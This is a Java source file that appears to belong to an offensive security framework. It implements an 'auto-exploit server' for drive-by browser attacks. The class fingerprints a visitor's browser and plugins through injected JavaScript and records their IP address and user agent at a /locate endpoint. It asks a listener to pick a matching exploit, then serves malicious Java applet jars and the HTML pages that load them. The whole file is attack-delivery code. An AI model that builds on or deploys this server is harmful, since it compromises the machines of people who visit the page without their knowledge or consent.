package profiler;

import cloudstrike.Response;
import cloudstrike.WebServer;
import java.io.ByteArrayInputStream;
import java.util.Iterator;
import java.util.LinkedList;
import java.util.List;
import java.util.Map;
import java.util.Properties;
import profiler.SystemProfiler;

public class AutoExploit extends SystemProfiler {

    protected ExploitListener exploith;
    protected String classa;
    protected String classb;
    protected byte[] jara;
    protected byte[] jarb;
    protected String jobs;
    protected String wdata;
    protected byte[] jdata;

    public void setExploitListener(ExploitListener l) {
        this.exploith = l;
    }


    public AutoExploit(String jobs, String classa, byte[] jara, String classb, byte[] jarb) {
        this.exploith = null;
        this.jobs = "";

        this.wdata = "";
        this.jdata = new byte[0];
        this.classa = classa;
        this.classb = classb;
        this.jara = jara;
        this.jarb = jarb;
        this.jobs = jobs;
        init();
    }

    public String toString() {
        return "auto-exploit server";
    }

    public void setup(WebServer server, String uri, String wdata, byte[] jdata) {
        this.wdata = wdata;
        this.jdata = jdata;

        server.registerSecondary("/locate", this);
        server.registerSecondary("/check.js", this);
        server.register(uri, this);

        server.registerSecondary("/java/iecheck.class", this);

        server.registerSecondary("/a/applet.html", this);
        server.registerSecondary("/b/applet.html", this);
        server.registerSecondary("/a/support", this);
        server.registerSecondary("/b/support", this);
        server.registerSecondary("/a/applet.jar", this);
        server.registerSecondary("/b/applet.jar", this);
    }

    public String getType() {
        return "auto-exploit";
    }

    public List cleanupJobs() {
        LinkedList<String> rv = new LinkedList();
        String[] j = this.jobs.split(" ");
        for (int x = 0; x < j.length; x++) {
            rv.add(j[x]);
        }
        return rv;
    }


    public void init() {
        try {
            StringBuffer javascript = new StringBuffer(1000);
            suckItDown("/resources/jquery-1.7.1.min.js", javascript);
            suckItDown("/resources/deployJava.js", javascript);
            suckItDown("/resources/reader.js", javascript);

            StringBuffer html = new StringBuffer(1000);

            suckItDown("/resources/autoexploit.js", javascript);
            suckItDown("/resources/auto.html", html);

            this.my_js = javascript.toString();
            this.my_html = html.toString();
        } catch (Exception ex) {
            ex.printStackTrace();
        }
    }

    public String resource(String resource, String applet_clazz) {
        StringBuffer temp = new StringBuffer(524288);
        try {
            SystemProfiler.suckItDown(resource, temp);
        } catch (Exception ex) {
            ex.printStackTrace();
        }
        return temp.toString().replace("%JAR_URI%", "applet.jar").replace("%DATA%", this.wdata).replace("%CLASS%", applet_clazz).replace("%LIB_URI%", "support");
    }

    public boolean suppressEvent(String uri) {
        return "/locate".equals(uri);
    }

    public Response serve(String uri, String method, Properties header, Properties param) {
        if ("/a/applet.jar".equals(uri)) {
            return new Response("200 OK", "application/java-archive", new ByteArrayInputStream(this.jara));
        }
        if ("/b/applet.jar".equals(uri)) {
            return new Response("200 OK", "application/java-archive", new ByteArrayInputStream(this.jarb));
        }
        if ("/a/support".equals(uri) || "/b/support".equals(uri)) {
            return new Response("200 OK", "application/java-archive", new ByteArrayInputStream(this.jdata));
        }
        if ("/a/applet.html".equals(uri)) {
            return new Response("200 OK", "text/html", resource("/resources/applet.html", classa));
        }
        if ("/b/applet.html".equals(uri)) {
            return new Response("200 OK", "text/html", resource("/resources/applet.html", classb));
        }

        if (uri.equals("/locate")) {
            String who = header.get("REMOTE_ADDRESS") + "";
            if (who.length() > 1) {
                who = who.substring(1);
            }
            Map results = parseResults(header.get("User-Agent") + "", param.get("data") + "");

            for (SystemProfiler.ProfileListener l : this.listeners) {
                l.receivedProfile(who, param.get("from") + "",
                        header.get("User-Agent") + "", results, param.get("id") + "");
            }

            /*Iterator i = this.listeners.iterator();
            while (i.hasNext()) {
                SystemProfiler.ProfileListener l = (SystemProfiler.ProfileListener) i.next();
                l.receivedProfile(who, param.get("from") + "",
                        header.get("User-Agent") + "", results, param.get("id") + "");
            }*/

            String url = exploith.exploitRecommend(who, header.get("User-Agent") + "",
                    results, param.get("id") + "", param.get("from") + "");
            return new Response("200 OK", "text/plain", url);
        }

        return super.serve(uri, method, header, param);
    }

    public static interface ExploitListener {
        String exploitRecommend(String string1, String string2, Map map,
                                String string3, String string4);
    }
}
